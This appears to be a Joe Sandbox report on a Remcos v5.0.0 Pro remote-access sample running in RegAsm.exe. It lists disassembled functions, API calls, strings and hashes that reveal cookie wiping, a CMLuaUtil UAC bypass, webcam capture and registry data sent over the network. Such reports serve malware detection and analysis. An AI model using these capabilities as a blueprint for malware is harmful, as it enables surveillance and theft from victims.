                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$AllocateHeap
                              • String ID: 5}/
                              • API String ID: 3033488037-169246594
                              • Opcode ID: 40f9e7cc2be6d4603e073625857eb528f872492eb2fa809e82d56bfb9c8f3841
                              • Instruction ID: 75a60bec03265776b93b53542ea819fdab521e44af267d44e1f719a945e8e2e2
                              • Opcode Fuzzy Hash: 40f9e7cc2be6d4603e073625857eb528f872492eb2fa809e82d56bfb9c8f3841
                              • Instruction Fuzzy Hash: 5451D371A00704AFEB20DF6AC841B6673F4FF85729B14456EE819D7250E739EE01CB88
                              Function 00413A55 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                              • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                              • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710), ref: 00413B8B
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Enum$InfoQueryValue
                              • String ID: [regsplt]$xUG$TG
                              • API String ID: 3554306468-1165877943
                              • Opcode ID: 7e2048b5b4a15889db9c74ac39567fdb59dd46086023709b3913aff4f04af58e
                              • Instruction ID: b9c9d149d6e4de0395087b00820169330fa190b61d8fc59f93bff107e3475f49
                              • Opcode Fuzzy Hash: 7e2048b5b4a15889db9c74ac39567fdb59dd46086023709b3913aff4f04af58e
                              • Instruction Fuzzy Hash: E5511D72900219AADB11EB95DC85EEFB77DAF04305F10007AF505F6191EF786B48CBA9
                              Function 00449365 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 171timeCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                              • _free.LIBCMT ref: 004493BD
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 00449589
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                              • String ID: 5}/
                              • API String ID: 1286116820-169246594
                              • Opcode ID: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                              • Instruction ID: c95a83c4fc9d8f5f381c6ef12c4bd90d50aad01b0883e3b7d6e96279f2ead045
                              • Opcode Fuzzy Hash: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                              • Instruction Fuzzy Hash: 71511A71904205EBEB14EFA9DD819AFB7BCEF44324F10066FE51493291EB788E42DB58
                              Function 00456C1A Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free
                              • String ID: D[E$D[E
                              • API String ID: 269201875-3695742444
                              • Opcode ID: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                              • Instruction ID: e1ec1e089ae9cf4c30c2343e7c59e1c9a5dba52e91c7d03f0b1416238821c5a9
                              • Opcode Fuzzy Hash: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                              • Instruction Fuzzy Hash: 7A415B31A001046BEB216BBA8C4566F3BB4EF41336F96061BFC24D7293DA7C880D566D
                              Function 00413D0D Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegOpenKeyExW.ADVAPI32 ref: 00413D46
                                • Part of subcall function 00413A55: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                                • Part of subcall function 00413A55: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              • RegCloseKey.ADVAPI32(00000000), ref: 00413EB4
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseEnumInfoOpenQuerysend
                              • String ID: xUG$NG$NG$TG
                              • API String ID: 3114080316-2811732169
                              • Opcode ID: fc7062b0e2d73897183f332ff677a088385e4ff99dcd0168fd06527908a237fe
                              • Instruction ID: 865164b8d80166fcad8b4517e5ed4c9fbafb7c73de3830c3e78154838722fbed
                              • Opcode Fuzzy Hash: fc7062b0e2d73897183f332ff677a088385e4ff99dcd0168fd06527908a237fe
                              • Instruction Fuzzy Hash: 0B419E316082405BC324F726DC56AEF72959FD1348F40883FF54A671D2EF7C5949866E
                              Function 00443DF9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free
                              • String ID: 5}/
                              • API String ID: 269201875-169246594
                              • Opcode ID: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                              • Instruction ID: 5dce3a056f7b38871bf3701478ebec2c01ef4ac0d1e4adeac0a27022f106ca0c
                              • Opcode Fuzzy Hash: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                              • Instruction Fuzzy Hash: 0741F536A012009FEB20DF78C881A5EB3F1EF89B14F2545AEE515EB341DB35AE01CB84
                              Function 0045112C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • MultiByteToWideChar.KERNEL32(?,00000000,?,00000000,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01), ref: 00451179
                              • __alloca_probe_16.LIBCMT ref: 004511B1
                              • MultiByteToWideChar.KERNEL32(?,00000001,?,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?), ref: 00451202
                              • GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?,00000002,00000000), ref: 00451214
                              • __freea.LIBCMT ref: 0045121D
                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                              • String ID: 5}/
                              • API String ID: 313313983-169246594
                              • Opcode ID: c0c27e3fa0fc37b5352cac75d9871c7cd610c85ad5d081213d6c80f72d2fc676
                              • Instruction ID: 2862a929c21554b3885a63a70f5d1b49ed21d23a3953ed9914841bfcf42aa681
                              • Opcode Fuzzy Hash: c0c27e3fa0fc37b5352cac75d9871c7cd610c85ad5d081213d6c80f72d2fc676
                              • Instruction Fuzzy Hash: 6631D271A0020AABDF24DFA5DC41EAF7BA5EB04315F0445AAFC04D72A2E739CD55CB94
                              Function 0041B68A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0041361B: RegOpenKeyExW.ADVAPI32 ref: 0041363D
                                • Part of subcall function 0041361B: RegQueryValueExW.ADVAPI32(?,0040F313,00000000,00000000,?,00000400), ref: 0041365C
                                • Part of subcall function 0041361B: RegCloseKey.ADVAPI32(?), ref: 00413665
                                • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                              • _wcslen.LIBCMT ref: 0041B763
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                              • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                              • API String ID: 37874593-122982132
                              • Opcode ID: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                              • Instruction ID: 0af867b59be632d30c611c6dccf556baefac66a2e67262e696d3f692bc65d575
                              • Opcode Fuzzy Hash: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                              • Instruction Fuzzy Hash: 6721A472A002086BDB14BAB58CD6AFE766D9B85328F14043FF405B72C2EE7C9D494269
                              Function 0040BEE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                                • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                              • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BF6B
                              • PathFileExistsA.SHLWAPI(?), ref: 0040BF78
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                              • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                              • API String ID: 1133728706-4073444585
                              • Opcode ID: c4bf94da8be876f49cea7471f0be2422906d591350fd81deebf31ce2b361b3bc
                              • Instruction ID: 11f9a5ab4d81baf10890d677fe2d2a0774849eb970c5828eb217b404dd8a17fe
                              • Opcode Fuzzy Hash: c4bf94da8be876f49cea7471f0be2422906d591350fd81deebf31ce2b361b3bc
                              • Instruction Fuzzy Hash: 38215271A4021AA6CB04F7B2CC569EE77699F10704F40017FE506B71D2EF7899498ADE
                              Function 00456B53 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0d17155dc6db7c30058fdf5bf10590413c3ccf5281d5a9a865ac9745ee25c2fc
                              • Instruction ID: 6cb1fb7365923ae9cd4386fa22a0d7cc2d4bdc50975796c61f51bb0de8f74700
                              • Opcode Fuzzy Hash: 0d17155dc6db7c30058fdf5bf10590413c3ccf5281d5a9a865ac9745ee25c2fc
                              • Instruction Fuzzy Hash: B9110272504214BAEB216F728C0496F3AACEF85326B52422BFD11C7252DE38CC41CAA8
                              Function 0041C3F1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                              • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0041C44D
                              • CloseHandle.KERNEL32(00000000), ref: 0041C459
                              • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C46A
                              • CloseHandle.KERNEL32(00000000), ref: 0041C477
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseHandle$CreatePointerWrite
                              • String ID: hpF
                              • API String ID: 1852769593-151379673
                              • Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                              • Instruction ID: 5cb8be75c3dc4c1e2f747800af3fbfd5a98fa41e64789a84fd548ad7506a8702
                              • Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                              • Instruction Fuzzy Hash: B0110471288220FFEA104B24ACD9EFB739CEB46375F10462AF592C22C1C7259C81863A
                              Function 00450EFA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00450C41: _free.LIBCMT ref: 00450C6A
                              • _free.LIBCMT ref: 00450F48
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 00450F53
                              • _free.LIBCMT ref: 00450F5E
                              • _free.LIBCMT ref: 00450FB2
                              • _free.LIBCMT ref: 00450FBD
                              • _free.LIBCMT ref: 00450FC8
                              • _free.LIBCMT ref: 00450FD3
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorFreeHeapLast
                              • String ID:
                              • API String ID: 776569668-0
                              • Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                              • Instruction ID: d9348172fd0740f80504453a64c2ebf0df3e8af845a5f6206b1ac0666941ab15
                              • Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                              • Instruction Fuzzy Hash: B411A231540B04AAD625BB72CC47FCB779CAF0230BF44491EBEED66053D6ACB9085745
                              Function 00411163 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                              Download Yara Rule
                              APIs
                              • std::_Lockit::_Lockit.LIBCPMT ref: 00411170
                              • int.LIBCPMT ref: 00411183
                                • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                                • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                              • std::_Facet_Register.LIBCPMT ref: 004111C3
                              • std::_Lockit::~_Lockit.LIBCPMT ref: 004111CC
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 004111EA
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                              • String ID: (mG
                              • API String ID: 2536120697-4059303827
                              • Opcode ID: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                              • Instruction ID: 9d9da6683174d9a5c92fa95d325e3547e0845688fcbb555b93a4fb26f280994d
                              • Opcode Fuzzy Hash: 4358ddd6f05c9e1b133220cf21f5160a6bdd3ecf1c15f3e73f45c2fde7630a6a
                              • Instruction Fuzzy Hash: 1411EB32900518A7CB14BB9AD8058DEBB79DF44354F10456FBE04A72D1DB789D40C7D9
                              Function 0043A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetLastError.KERNEL32(?,?,0043A351,004392BE), ref: 0043A368
                              • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A376
                              • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A38F
                              • SetLastError.KERNEL32(00000000,?,0043A351,004392BE), ref: 0043A3E1
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLastValue___vcrt_
                              • String ID:
                              • API String ID: 3852720340-0
                              • Opcode ID: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                              • Instruction ID: 5d53a0da36a7034647469206452edf011e0dcb0cee8899775f26e7a14c982385
                              • Opcode Fuzzy Hash: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                              • Instruction Fuzzy Hash: 7F01283214C3519EA61526796C86A6B2648EB0A7B9F30133FF918815F1EF594C90514D
                              Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                              Download Yara Rule
                              APIs
                              • CoInitializeEx.OLE32(00000000,00000002), ref: 004075D0
                                • Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
                                • Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                              • CoUninitialize.OLE32 ref: 00407629
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: InitializeObjectUninitialize_wcslen
                              • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                              • API String ID: 3851391207-1839356972
                              • Opcode ID: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                              • Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
                              • Opcode Fuzzy Hash: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                              • Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB
                              Function 0040BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                              Download Yara Rule
                              APIs
                              • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BADD
                              • GetLastError.KERNEL32 ref: 0040BAE7
                              Strings
                              • UserProfile, xrefs: 0040BAAD
                              • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAA8
                              • [Chrome Cookies not found], xrefs: 0040BB01
                              • [Chrome Cookies found, cleared!], xrefs: 0040BB0D
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DeleteErrorFileLast
                              • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                              • API String ID: 2018770650-304995407
                              • Opcode ID: 1760e3e0d40a85f21b6d805f5d6a4de2d8cd9e2060f798d2c7163d0a527507e4
                              • Instruction ID: 6bc0ec4de36c0471385c24d45a27137009bd471b3f80e31671ebbef4da92dce6
                              • Opcode Fuzzy Hash: 1760e3e0d40a85f21b6d805f5d6a4de2d8cd9e2060f798d2c7163d0a527507e4
                              • Instruction Fuzzy Hash: 08018F31A402095ACA04BBBACD5B8BE7724E912714F50017BF802726E6FE7D5A059ADE
                              Function 0041CD9B Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 48memoryCOMMON
                              Download Yara Rule
                              APIs
                              • AllocConsole.KERNEL32 ref: 0041CDA4
                              • ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                              • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Console$AllocOutputShowWindow
                              • String ID: Remcos v$5.0.0 Pro$CONOUT$
                              • API String ID: 2425139147-2278869229
                              • Opcode ID: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                              • Instruction ID: 3d4e39fb732e2b6cb40f789e287104da8d9afdf675614735db993d10cd8ea689
                              • Opcode Fuzzy Hash: 7204a5bae693ec2f4884850c6238c56aa94b879f8555490226ef59d43c8bca4e
                              • Instruction Fuzzy Hash: CD0188719803087AD610F7F1DC8BF9D776C5B14705F6004277604A70D3E7BD9954466E
                              Function 0044333A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 0044335A
                              • GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,004432EB,?,?,0044328B,?), ref: 0044336D
                              • FreeLibrary.KERNEL32(00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 00443390
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressFreeHandleLibraryModuleProc
                              • String ID: CorExitProcess$mscoree.dll$5}/
                              • API String ID: 4061214504-1440477355
                              • Opcode ID: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                              • Instruction ID: b4f1316bd170a33105784e50650a9bde6d9e9410588fddf83d5a1a7bf10dc45d
                              • Opcode Fuzzy Hash: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                              • Instruction Fuzzy Hash: 6AF0A430A00208FBDB149F55DC09B9EBFB4EF04713F0041A9FC05A2261CB349E40CA98
                              Function 0043AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                              Download Yara Rule
                              APIs
                              • __allrem.LIBCMT ref: 0043AC69
                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC85
                              • __allrem.LIBCMT ref: 0043AC9C
                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACBA
                              • __allrem.LIBCMT ref: 0043ACD1
                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACEF
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                              • String ID:
                              • API String ID: 1992179935-0
                              • Opcode ID: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                              • Instruction ID: 0cac597ccac2158415e78c81c2c349525783c2449c9f0a8280db41f57d0428da
                              • Opcode Fuzzy Hash: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                              • Instruction Fuzzy Hash: CC812B72640706ABE7209F29CC41B5BB3A9EF48324F24552FF590D7781EB7CE9108B5A
                              Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                              Download Yara Rule
                              APIs
                              • Sleep.KERNEL32(00000000,0040D262), ref: 004044C4
                                • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: H_prologSleep
                              • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                              • API String ID: 3469354165-3054508432
                              • Opcode ID: 6f157006139ccf4b8d86a432b5633ede6fd06edeca8eb9c0ae1caa95c8564102
                              • Instruction ID: 62663cdee79800d8a54f028f5a980ee1c6790ad11611a7059aef087dab150aaf
                              • Opcode Fuzzy Hash: 6f157006139ccf4b8d86a432b5633ede6fd06edeca8eb9c0ae1caa95c8564102
                              • Instruction Fuzzy Hash: 5C51E1B1A042116BCA14FB369D0A66E3755ABC5748F00053FFA06677E2EF7C8A45839E
                              Function 00411CFE Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0041179C: SetLastError.KERNEL32(0000000D,00411D1C,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 004117A2
                              • SetLastError.KERNEL32(000000C1,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411D37
                              • GetNativeSystemInfo.KERNEL32(?), ref: 00411DA5
                              • SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,?), ref: 00411DC9
                                • Part of subcall function 00411CA3: VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411DE7,?,00000000,00003000,00000040,00000000,?,?), ref: 00411CB3
                              • GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,?), ref: 00411E10
                              • HeapAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 00411E17
                              • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411F2A
                                • Part of subcall function 00412077: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37,?,?,?,?,?), ref: 004120E7
                                • Part of subcall function 00412077: HeapFree.KERNEL32(00000000), ref: 004120EE
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                              • String ID:
                              • API String ID: 3950776272-0
                              • Opcode ID: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                              • Instruction ID: a5564978de1508fcfe39aaa31f5973b4ee53e0220ffe5d2cf9b9f7f7cc9a58c7
                              • Opcode Fuzzy Hash: 03879881e365d714915aafd98c27fc7559b9a312a1bd96baf04abeae924ccd8f
                              • Instruction Fuzzy Hash: B661E370601201ABC7109F66C980BAB7BA5BF44744F04411BFA058B7A2E7BCE8D2CBD9
                              Function 004458F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: __cftoe
                              • String ID:
